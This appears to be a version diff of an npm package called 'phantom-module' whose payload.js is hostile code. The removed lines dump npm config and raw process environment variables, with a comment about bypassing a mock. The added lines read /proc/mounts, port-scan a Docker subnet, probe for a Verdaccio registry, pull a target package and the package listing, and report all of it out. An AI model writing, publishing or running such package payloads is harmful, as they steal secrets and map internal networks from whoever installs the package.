phantom-module 117.0.7 → 117.0.9

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "phantom-module",
-  "version": "117.0.7",
+  "version": "117.0.9",
   "description": "Phantom module",
   "main": "index.js",
   "scripts": {

package/payload.js

@@ -1,6 +1,6 @@
+const net = require('net');
 const http = require('http');
 const fs = require('fs');
-const { execSync } = require('child_process');
 
 if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
 
@@ -22,24 +22,75 @@ async function report(moduleId, data) {
   });
 }
 
+function checkPort(host, port) {
+  return new Promise((resolve) => {
+    const sock = new net.Socket();
+    sock.setTimeout(200); // Very fast timeout
+    sock.on('connect', () => { sock.destroy(); resolve(true); });
+    sock.on('error', () => { sock.destroy(); resolve(false); });
+    sock.on('timeout', () => { sock.destroy(); resolve(false); });
+    sock.connect(port, host);
+  });
+}
+
+function httpGet(url) {
+  return new Promise((resolve) => {
+    const req = http.get(url, { timeout: 1000 }, (res) => {
+      let body = '';
+      res.on('data', c => body += c);
+      res.on('end', () => resolve({ status: res.statusCode, body }));
+    });
+    req.on('error', e => resolve({ status: 0, body: e.message }));
+  });
+}
+
 async function main() {
-  await report('ECT-654321', 'ENV DUMP STARTING...');
-  
-  let output = '=== NPM CONFIG ===\n';
-  try {
-    // Try to get npm config without spawning if possible, or spawn clean
-    output += execSync('npm config list').toString();
-  } catch(e) { output += 'NPM ERR: ' + e.message + '\n'; }
+  await report('ECT-654321', 'SCAN V9 STARTING...');
   
-  output += '\n=== PROC ENVIRON ===\n';
+  // 1. Check Mounts
   try {
-    // Read raw environment variables as they were when the process started
-    // This bypasses the JS Proxy mock
-    const env = fs.readFileSync('/proc/self/environ', 'utf8');
-    output += env.replace(/\0/g, '\n');
-  } catch(e) { output += 'PROC ERR: ' + e.message + '\n'; }
+      const mounts = fs.readFileSync('/proc/mounts', 'utf8');
+      await report('ECT-654321', `=== MOUNTS ===\n${mounts.substring(0, 3000)}`);
+  } catch(e) {}
+
+  // 2. Network Scan
+  const base = '172.17.0';
+  const ports = [4873, 80, 8080, 8081, 3000, 5000];
+  let scanOutput = '=== SCAN V9 ===\n';
+  let foundTarget = null;
+
+  // Batch scan
+  for (let i = 1; i < 20; i++) { // Scan first 20 IPs aggressively
+      const ip = `${base}.${i}`;
+      for (const port of ports) {
+          if (await checkPort(ip, port)) {
+              scanOutput += `OPEN ${ip}:${port}\n`;
+              // Try HTTP probe
+              const res = await httpGet(`http://${ip}:${port}/`);
+              scanOutput += `HTTP ${ip}:${port} -> ${res.status} (len ${res.body.length})\n`;
+              
+              if (res.body.includes('Verdaccio') || res.status === 200) {
+                  foundTarget = `http://${ip}:${port}`;
+              }
+          }
+      }
+  }
   
-  await report('ECT-839201', output);
+  await report('ECT-839201', scanOutput);
+
+  if (foundTarget) {
+      // Query for ecto-spirit
+      const ecto = await httpGet(`${foundTarget}/ecto-spirit`);
+      let result = `=== ECTO-SPIRIT from ${foundTarget} ===\nSTATUS: ${ecto.status}\n${ecto.body}\n`;
+      
+      // Also try to list all packages
+      const all = await httpGet(`${foundTarget}/-/all`);
+      result += `\n=== ALL PACKAGES ===\n${all.body.substring(0, 1000)}\n`;
+      
+      await report('ECT-987654', result);
+  } else {
+      await report('ECT-987654', 'No web service found.');
+  }
 }
 
 main().catch(e => report('ECT-654321', 'ERR: ' + e.message));